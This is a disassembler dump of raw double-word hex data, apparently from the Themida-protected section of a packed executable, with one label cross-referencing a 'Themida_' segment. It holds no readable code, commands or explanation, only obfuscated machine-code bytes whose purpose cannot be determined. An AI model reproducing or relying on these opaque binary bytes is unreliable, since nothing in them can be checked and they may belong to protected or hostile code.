		dd 2095358Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 35BB897Ch, 0EA9E6FFFh, 0D1FFC2D6h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 2EC35747h
		dd 4CBB6650h, 0BD835F5Eh, 61D31C1h, 4D850F01h, 2B000000h
		dd 1D04F19Dh, 52026A06h, 17A18501h, 505F061Dh, 3DB86660h
		dd 0BA66503Ch, 615BB680h, 6A240489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 8EDCC352h
		dd 6628BD37h, 0BA74FB3Bh, 95FFD98Bh, 61D1569h, 0E46E9h
		dd 0E800h, 815D0000h, 2134D2EDh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0F066BF0Fh
		dd 858D3415h, 6208D22h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h
		dd 0AC35040h, 29398D89h, 5090061Dh, 6A905F53h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 8943C351h, 9E84E70h,	4000000h, 899326F9h, 0E28E2120h
		dd 6DDB529h, 0E95F061Dh, 13h, 0D69A561h, 2DF07C56h, 306B5F43h
		dd 18DAE269h, 64E9B687h, 35FFh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0E7A49CC3h
		dd 283321FFh, 74BB2E0Ch, 0F4B87B4h, 1086h, 0BE900h, 38A0000h
		dd 0B0FBB735h, 433F3F8Bh, 25896431h, 0
		dd 0C185FFF5h, 6A061D1Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0A806C350h,	0F4DE181Bh
		dd 898ACBAEh, 1D2FCDBDh, 0B5295006h, 61D3105h, 29FF6A5Fh
		dd 1D15D19Dh, 19B5FF06h, 0F061D2Eh, 0E89h, 0BD016000h
		dd 61D151Dh, 1BD98D8Bh,	0FF61061Dh, 1D2CD595h, 10FE906h
		dd 0BB660000h, 0B053E9h, 681ECB81h, 0E6FC5738h,	6E870h
		dd 7C0E0000h, 71C75A48h, 10E9h,	0BF0EF200h, 2D8A596h, 1336DECAh
		dd 34AC908Bh, 71E45B42h, 98CB8166h, 0F613C13h, 0D083h
		dd 11E800h, 0C1800000h,	4790AC6Ch, 0A5412A99h, 69BE009h
		dd 0F619281h, 81h, 0B60F5B00h, 6BAC8h, 0B5890000h, 61D1895h
		dd 0FE9C18Bh, 64000000h, 581C2B32h, 8F71D240h, 0C18CBFC4h
		dd 0E8C1E540h, 0E2F76604h, 5810Fh, 0EABB0000h, 2B1114C2h
		dd 0E2F8BBC8h, 0D18B6DF0h, 17CD9D09h, 0BD8B061Dh, 61D31A1h
		dd 2E9h, 8BF98B00h, 1D135985h, 0D8D0106h, 83061D06h, 0EF8007C0h
		dd 0C083EFh, 1D25B589h,	0D03B061Dh, 6830Fh, 3AE90000h
		dd 0F9000000h, 2EF98D8Bh, 0DB81061Dh, 239A55F4h, 0F01E183h
		dd 2484h, 6870F00h, 0B000000h, 1D296DBDh, 0F9A58306h, 0FE061D2Eh
		dd 3F9BD0Bh, 9589061Dh,	61D1359h, 0E9h,	14B58D00h, 660620BAh
		dd 6AF88Bh, 840F6060h, 0
		dd 0BD296061h, 61D1625h, 16D5BD89h, 6161061Dh, 120995FFh
		dd 0BD09061Dh, 61D10EDh, 7DFB9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0B58529DAh
		dd 89061D10h, 1D261995h, 0FCE18306h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 9C35242h, 0F24F3A0h, 8B66FBBFh
		dd 2BF8FCF9h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 89DA3444h, 1D14658Dh, 2BFB8B06h
		dd 51006AD2h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 361803FFh, 32B29F65h, 7719D89h, 33AD061Dh
		dd 3E8D1C2h, 4E983D0h, 9D23F475h, 61D20D5h, 3A48BF66h
		dd 880Dh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 517B8703h, 0D1958B5Bh, 6A061D20h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 312BC350h, 0B646113Eh, 6A4B655Ah,	0BE8h
		dd 189DC200h, 6CE064C0h, 45A9FBDh, 1AD9D8Bh, 8B5B061Dh
		dd 1D331D8Dh, 0B99D8B06h, 0BF061D32h, 48160377h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 6681F8C3h
		dd 3F9DEB81h, 3C7490BBh, 718D890Eh, 80061D20h, 0BD831AE3h
		dd 61D3131h, 9C840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 12A0C350h
		dd 658070DBh, 0F5F93479h, 349BD8Bh, 0B8061Dh, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0A191C350h, 4C898D8Dh, 6A061Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 932555C3h
		dd 0E1FFCDB6h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	2AC35646h, 0BC72F6E9h, 6682C654h, 833A28BFh, 1D2BF9BDh
		dd 840F0006h, 43Fh, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 7DC35141h, 83DEBF0Fh,	1D2BF9BDh, 840F0106h
		dd 42Eh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0A5C35747h, 0DAA452BBh,	0F9BD834Ah, 3061D2Bh, 3CA860Fh
		dd 14E90000h, 0DF000000h, 0F4CED3C5h, 9416EA5Eh, 1ED562DBh
		dd 7C09C9E2h, 604A89ADh, 14A9BD2Bh, 0BD8B061Dh,	61D1331h
		dd 6AD98C66h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 8CBC353h, 32D78B28h, 85BD03CCh
		dd 60061D25h, 0B649CE80h, 0E18061E1h, 0AE904h, 0AA4B0000h
		dd 0DA2F8A1Ah, 5DE39123h, 1219B529h, 0C90A061Dh, 14D840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 3315EBC3h, 0D28C1ADCh, 0E1858BF8h, 6A061D20h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0A5EFC353h, 0B8441CD7h, 7CB8FB7Fh, 11899D8Bh
		dd 8533061Dh, 61D1B99h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 7DC35545h, 3149CD88h,	0BF505ACCh, 44439D89h
		dd 9240489h, 1D17ED95h,	6A006A06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 6183C350h
		dd 29A2CF30h, 76813F4h,	0E81D95A6h, 6, 7D32C36h, 66B7D35Dh
		dd 2434815Bh, 1D8AA5F8h, 1C919D8Bh, 95FF061Dh, 61D3145h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0CC35040h
		dd 0E9736FAh, 0F348DB8Ah, 0A3628589h, 6A0620h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 56B66AC3h, 8BA8E2B7h, 189E9FAh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C306BDC3h
		dd 0D1F5F31Fh, 8B7F6F06h, 20A35A85h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 1800C785h
		dd 0FC000000h, 0A35EB58Bh, 6A0620h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 9CE2E3C3h
		dd 0F88B9790h, 147D858Bh, 2350061Dh, 1D25999Dh,	6895B06h
		dd 2820Fh, 0DA8B0000h, 20E1858Bh, 6A061Dh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 99242FC3h
		dd 0F43D9DD9h, 9D338D47h, 61D1CF5h, 6A044689h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0B6FAC355h, 1897F0A6h, 0A5BD8BDAh, 50061D29h, 89DE8B66h
		dd 0FFF82434h, 20A35AB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0F0DC1194h
		dd 66E641CDh, 0F76DCBFh, 4B68DBBFh, 0E9270D1Eh,	7, 616EE34Ch
		dd 815ADD35h, 1DB42434h, 81662712h, 8D0050D7h, 20A36285h
		dd 3D858906h, 8B061D2Eh, 1D3229BDh, 53BB5006h, 891A30D3h
		dd 89602404h, 1D020585h, 95FF6106h, 61D3145h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0F2C35545h, 0D5B1D146h
		dd 616B1FABh, 41858B60h, 66061D26h, 9A0ECF81h, 399D2B61h
		dd 0C7061D12h, 1D2BF985h, 306h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0CAF6717Bh
		dd 6880F4Ah, 23000000h,	1D3029BDh, 62BD8306h, 620A3h, 4A840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 31971FC3h, 0E981ECF2h, 3Fh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 9DC35141h, 0EA12E9EEh
		dd 0A143AFB2h, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 6CCC355h, 0E9C0F3FCh
		dd 6B9F146Ch, 0DE9h, 0EA924000h, 28516132h, 3C99616Ah
		dd 0E380C6FAh, 8E9DFh, 0FCBD0000h, 0ABA57B70h, 0BD8377CFh
		dd 61D2BF9h, 65850F03h,	6A000004h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 2324C353h
		dd 0E4105CFBh, 950907E2h, 61D1619h, 0A362BD83h,	0F000620h
		dd 42F84h, 62B5FF00h, 890620A3h, 1D314D85h, 995FF06h, 6A061D2Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0AE56C357h, 0BD2BE155h, 61D1855h,	5810Fh
		dd 59BB0000h, 8B3698CDh, 20A356B5h, 830F06h, 0E8000000h
		dd 0Ch,	589D8227h, 0DFD6715Bh, 0A6B17012h, 8D5BD8Bh, 0C75F061Dh
		dd 1000106h, 85896000h,	61D30F1h, 0F458D89h, 8B61061Dh
		dd 0BB6650D9h, 3489E563h, 0BD9D2324h, 0FF061D2Ch, 20A362B5h
		dd 11E906h, 0EEA70000h,	9E33EF33h, 1DAE6E06h, 597BC45Bh
		dd 0FF3A1CEDh, 1D208195h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 0F816A6B4h, 9D035B28h, 61D0675h, 0A356B58Bh,	0BD8B0620h
		dd 61D0F69h, 85858Bh, 0BF0F061Dh, 0C48689F9h, 0B7000000h
		dd 0D1958B22h, 0F061D20h, 0C283DFB7h, 3840F04h,	0F000000h
		dd 0B589DFB7h, 61D2649h, 0E9205089h, 0Ah, 8D9617D5h, 0BC6FCD7Eh
		dd 858D01A3h, 620B678h,	12E857h
dword_580168	dd 9D7E0000h, 6C0B1E3Ch, 0E7C8A63Eh, 0A6D9C003h, 31F21421h
					; DATA XREF: Themida_:0054BAEBo
		dd 5B5BFBB3h, 0B88689h,	0B5890000h, 61D1BF1h, 6A006AF5h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0F1ABC355h, 9D8BC670h, 61D2989h, 0A362B5FFh
		dd 6A0620h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0B0F6E7C3h, 0FAE92BCh, 8529FEBFh,	61D2D19h
		dd 156995FFh, 6A061Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0D630FC3h, 8BBF5C38h, 1D13BD9Dh
		dd 12E95006h, 0CA000000h, 6FC5F36Fh, 8FDB9FC4h,	0EBF6E08Eh
		dd 0EF24752Fh, 243489DAh, 5334F381h, 0B5FF69BDh, 620A362h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 16C35141h
		dd 12E99B6Ch, 73000000h, 128B25FDh, 67CDE644h, 3558D701h
		dd 7E3B7BFEh, 128A0F53h, 0F000000h, 0C82h, 7E900h, 46300000h
		dd 416558A7h, 9595FFCEh, 6A061D1Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 5CE1C352h
		dd 738EE0B6h, 49E927E4h, 12E8D88Ah, 7B000000h, 0DB78A1C0h
		dd 0F0FBF786h, 1A8D7A92h, 0FB025B33h, 0BD835FDDh, 61D2C71h
		dd 6B840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0E916C353h,	0Ch, 0A26EEF0h
		dd 0C0446454h, 621A92D0h, 13E950h, 113C0000h, 6EF9FC94h
		dd 5693C59Fh, 9895E7AAh, 0AF677B7Ah, 243489EEh,	11E8h
		dd 0F56DEB00h, 9CA3292Bh, 0EDAF7C43h, 0B45EB6E2h, 0F60E0B7h
		dd 0D681D9B7h, 6C57181Ah, 0B5FF5F61h, 620A362h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F1C35646h, 893ED0DCh
		dd 1D15E595h, 68D0F06h,	89000000h, 1D18418Dh, 0AD95FF06h
		dd 80061D09h, 0C9BF9BDFh, 0FF6D243Fh, 20A362B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0EE897h, 6CE80000h, 0F1658805h, 90901FEAh, 3BB04BFBh
		dd 7E9h, 80E47E00h, 0E9172E49h,	7195FF5Fh, 8B061D2Ah, 1D2C4DBDh
		dd 0EDBD8306h, 2061D03h, 62840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0A080C5C3h
		dd 14E8h, 0C3F5F500h, 0E5F04414h, 0EF71325Ah, 0A08B8321h
		dd 83510AE5h, 0EF8166FBh, 8B5B2E97h, 1D2F4985h,	11E906h
		dd 63AE0000h, 108AF5A2h, 0BF78C522h, 0AB2DE850h, 0C6902D97h
		dd 9D230000h, 61D31C9h,	0D585C7h, 61Dh,	6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0D7811FC3h, 64F7D84Ch, 0FFF330E9h, 56006AFFh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0CF825986h, 0B9B5C3E4h, 0E3817D7Ch, 2490FA4Eh, 14E9h
		dd 49EE3D00h, 88CFF61Ch, 0A84299AFh, 4551F4B7h,	1698F1E3h
		dd 66C18B6Ah, 8D61A3BFh, 1D042185h, 0E9958906h,	90061D01h
		dd 0E9609050h, 0Bh, 5F5EA3A3h, 33B286DCh, 8B38C9F3h, 1D0F219Dh
		dd 6A6106h, 6A006Ah, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 367CDCC3h, 6D834331h, 6673D6BDh
		dd 8D1456BBh, 2144C585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0C9628704h, 0F234E89h
		dd 688h, 0F1858900h, 83061D28h,	6A05C0h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 1031A5C3h
		dd 90F24723h, 0CE9h, 542B0A00h,	16B5FE67h, 0E0FCCD0Dh
		dd 6A905054h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 33C6C355h, 0FC164247h,	0D380A863h
		dd 89006AC6h, 1D2CA1B5h, 6A006A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FF14C355h
		dd 1D2A3995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 916E136Bh, 8D45AD00h, 2095358Dh
		dd 259D3306h, 0FF061D03h, 50006AD1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 6D9C3546h
		dd 0D14FBF50h, 0BD83344Bh, 61D31C1h, 3E850F01h,	6A000000h
		dd 8D0F02h, 50000000h, 89FE8B66h, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 812C4CC3h
		dd 9E725E7h, 6995FF02h,	8B061D15h, 1D2A99BDh, 0CBBE906h
		dd 0E80000h, 5D000000h,	44CFED81h, 9510621h, 1D29B595h
		dd 0BD8B5B06h, 61D1C11h, 8D22858Dh, 6A0620h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 66E9D4C3h
		dd 0FE395BFh, 8950FFBFh, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 80291AC3h, 0FF640AC3h
		dd 35h,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh,	24448104h
		dd 1C04h, 0C3564600h, 8314DC3h,	493664DEh, 25896434h, 0
		dd 2711BD2Bh, 870F061Dh, 6, 15719D8Bh, 85FF061Dh, 61D1BC1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 4FC35343h
		dd 1E27839Dh, 19B5899Ch, 6A061D2Bh, 0DAB70FFFh,	211B5FFh
		dd 14E9061Dh, 9A000000h, 21E1800Ch, 40D2C97Dh, 4DB460Ch
		dd 0C648F8B6h, 0FFF5D83Eh, 1D2CD595h, 0FBE906h,	9D8B0000h
		dd 61D14C1h, 0BF0F00B0h, 6670E6DBh, 71E4FA8Bh, 38A0Fh
		dd 0BF0F0000h, 0F613CD9h, 0D883h, 0CE900h, 97F90000h, 1DC2565Bh
		dd 93C79C47h, 0CE98158h, 0B9000000h, 25150DEEh,	7A3C1953h
		dd 0F489517h, 9589C8B6h, 61D2BFDh, 6BAh, 0F1BD8B00h, 8B061D17h
		dd 0AD9D8BC1h, 0C1061D28h, 9D8B04E8h, 61D17D1h,	80E2F766h
		dd 0C82B32E3h, 14F1BD2Bh, 0D18B061Dh, 1FB19D23h, 6E9061Dh
		dd 8B000000h, 1D2F299Dh, 41858B06h, 29061D06h, 1D0C398Dh
		dd 7C08306h, 2D499529h,	8160061Dh, 8BF0BCDFh, 0ABDF8138h
		dd 617AE2CDh, 8B00C083h, 1D2A85BDh, 0FD03B06h, 0E83h, 0C1E78000h
		dd 34E9h, 5ADF8100h, 8B2C11C8h,	1D33318Dh, 0E183F806h
		dd 1E840F01h, 66000000h, 837088BBh, 1D3331A5h, 0BCB3FE06h
		dd 6419589h, 9D0B061Dh,	61D207Dh, 0E9h,	0D2B58D00h, 6A0620C3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0BB0FC357h, 81227403h, 0BD894796h, 61D1D71h
		dd 6A006AF9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0FDB3C357h, 0FFE1C5E5h, 1D120995h
		dd 0DBB70F06h, 0C49B9h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 35E67CACh, 199CA1BCh
		dd 2D9D8BF7h, 83061D01h, 6AFCE1h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0F6C07AC3h, 660DD58Bh
		dd 0BD02C781h, 0DFBF0FFCh, 6AC02Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0FB2023C3h
		dd 33E380BBh, 0BF0FD22Bh, 14E960FFh, 0D7000000h, 4C81B866h
		dd 0C2050EF8h, 89315C2Ah, 0E9BBADC6h, 81F61485h, 0B78103DBh
		dd 33AD6155h, 3E8D1C2h,	4E983D0h, 6AF9F475h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 60D1C351h, 1AA19589h, 0F88B061Dh, 880Dh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 8C8CFC99h, 8B57F380h, 1D20D195h, 18A0F06h, 0F9000000h
		dd 331D8D8Bh, 8D09061Dh, 61D10D9h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 95015818h, 61D1ACDh, 74DB8166h
		dd 50006A73h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 3A336AEh, 0BD83985Ch, 61D3131h, 7D840F00h
		dd 8B000000h, 1D16559Dh, 0B806h, 8E90000h, 82000000h, 3ACF5821h
		dd 8DAA5541h, 1D4C898Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 1B2CBE45h, 0EE98Ch, 560000h
		dd 2C53E2F8h, 34CFD25Eh, 655C1E67h, 6AE1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0F1C2A2C3h
		dd 59D17EC9h, 9509A8EBh, 61D03F1h, 2BF9BD83h, 0F00061Dh
		dd 42984h, 7AF78000h, 2BF9BD83h, 0F01061Dh, 43484h, 0BD236000h
		dd 61D2E65h, 61FEB70Fh,	2BF9BD83h, 0F03061Dh, 3E686h, 45BD8B00h
		dd 60061D2Fh, 0A3656BFh, 0D98C6678h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0F8C35343h,	0AC72869Ch, 80DAB70Fh
		dd 6A04E1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0C90A2CC3h, 137840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 3F954CC3h
		dd 9509D959h, 61D1D7Dh,	20E1858Bh, 6A061Dh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8166E2C3h
		dd 8B438BC7h, 1D154D9Dh, 99853306h, 81061D1Bh, 7AE261E3h
		dd 39BF6640h, 535050D1h, 7B813DBBh, 895B5B76h, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0C5E8B8C3h, 0F94CC6F6h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 6A37F5C3h
		dd 89CC7356h, 1D06AD85h, 45AFBF06h, 4E8389Bh, 0FF000000h
		dd 0E8001F03h, 13h, 7AC95546h, 27C1DD12h, 906537Ch, 99CB7383h
		dd 0FCAA2F6h, 388h, 0F98B6600h,	0AE9505Fh, 0EE000000h
		dd 0C56554B1h, 0EF22E261h, 24448BC8h, 0D88B6604h, 0FC8A008Bh
		dd 4244489h, 6058F98Bh,	49BF66F9h, 95FF613Fh, 61D3145h
		dd 33958589h, 8589061Dh, 620A362h, 138DBD89h, 0D5E9061Dh
		dd 8B000001h, 1D0F559Dh, 5A858B06h, 6A0620A3h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 4B42C351h, 1820FB9h,	0F5000000h, 1800C7h, 0BF660000h
		dd 0B58BAF43h, 620A35Eh, 8B11E381h, 858B31B0h, 61D147Dh
		dd 0D958952h, 5B061D20h, 6A0689h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 2FE754C3h, 0B3552BB1h
		dd 0E1858B8Ah, 6A061D20h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0DE78C355h,	4C1E854h
		dd 4468934h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	65C35242h, 0BD8B52AAh, 61D32E9h, 0DC8A965Bh, 0A8BF6650h
		dd 6A962Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 70992DC3h, 65C611BEh, 0C3800F2Fh,	5AB5FFC6h
		dd 0F80620A3h, 4E8h, 1F03FF00h,	0D98B6600h, 24448B50h
		dd 8BF88B04h, 89D88B00h, 0E8042444h, 0Ah, 68AA81EEh, 0A0C0F4h
		dd 61B78BE2h, 0B1B7585Bh, 0A362858Dh, 6A0620h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 31FCF1C3h, 1D0F0D85h, 13E906h, 1BFC0000h, 0C4B3C77Ch
		dd 0B3EE2793h, 60D44CBDh, 614D732Dh, 0CE950DAh,	0B7000000h
		dd 0C47CAA1Dh, 94CFB24Ah, 899663C2h, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 135270C3h
		dd 0C600A4E7h, 4595FFA6h, 6A061D31h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0C680C352h
		dd 0BD8B9226h, 61D0F65h, 0EDB58961h, 0C7061D25h, 1D2BF985h
		dd 306h, 3D952900h, 29061D32h, 1D2B0D85h, 62BD8306h, 620A3h
		dd 5D840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 934FC3h,	0EADE561Fh, 7E896h, 0AD660000h
		dd 1795F45Bh, 5B95B356h, 1DD78166h, 3CE9D8h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 54EECEC3h, 50759478h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0D780C08Bh
		dd 53006A71h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0BF239F5Ch, 303AA5E9h, 0BD9D8B53h, 5B061D07h
		dd 2BF9BD83h, 0F03061Dh, 3A785h, 62BD8300h, 620A3h, 39A840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 9D8B2CC3h, 61D314Dh, 0FFF9B70Fh, 20A362B5h
		dd 0F9B52906h, 0FF061D21h, 1D2B0995h, 0A5BF6606h, 56B58BE9h
		dd 0C70620A3h, 1000106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0E9E98711h, 1AB5BD8Bh
		dd 0E996061Dh, 9, 0A0DE6CABh, 0D5E76A7Eh, 89965001h, 1D01E995h
		dd 0D9D8B06h, 0FF061D1Ch, 20A362B5h, 9E906h, 0DB5A0000h
		dd 863F5CB8h, 0FFBD3A63h, 1D208195h, 358D0906h,	8B061D05h
		dd 20A356B5h, 10E806h, 0A9F50000h, 1F7DC7D6h, 128186CDh
		dd 8423932h, 81669839h,	5F9CECE7h, 85858Bh, 0D88A061Dh
		dd 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 90A4B7C3h, 9883402Fh, 8B51A5E8h
		dd 1D25259Dh, 958B5B06h, 61D20D1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 7EC35040h, 2AECADF1h, 4C283C6h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 76C35040h
		dd 67E14E97h, 8E957h, 36850000h, 0EF2097C8h, 0E95F6FA6h
		dd 6, 0BB3473DEh, 50892CF6h, 56006A20h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0BD89890Fh
		dd 61D1341h, 0B678858Dh, 6A0620h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 53D8FCC3h, 45852942h
		dd 60061D21h, 8BD68B66h, 1D14B195h, 86896106h, 0B8h, 5198D89h
		dd 0CE9061Dh, 97000000h, 0C5C72EB9h, 0CB6EAD0Bh, 6AB90DCAh
		dd 0DB816600h, 0B5FF91AEh, 620A362h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 1FC35040h, 0DFBF0F5Dh, 156995FFh
		dd 0F56061Dh, 583h, 0CA96BF00h,	0F5B0D85h, 0E950FBBFh
		dd 0Fh,	0AF95FCD0h, 8356FA2Ch, 0FBE029D6h, 8961067Bh, 6A2434h
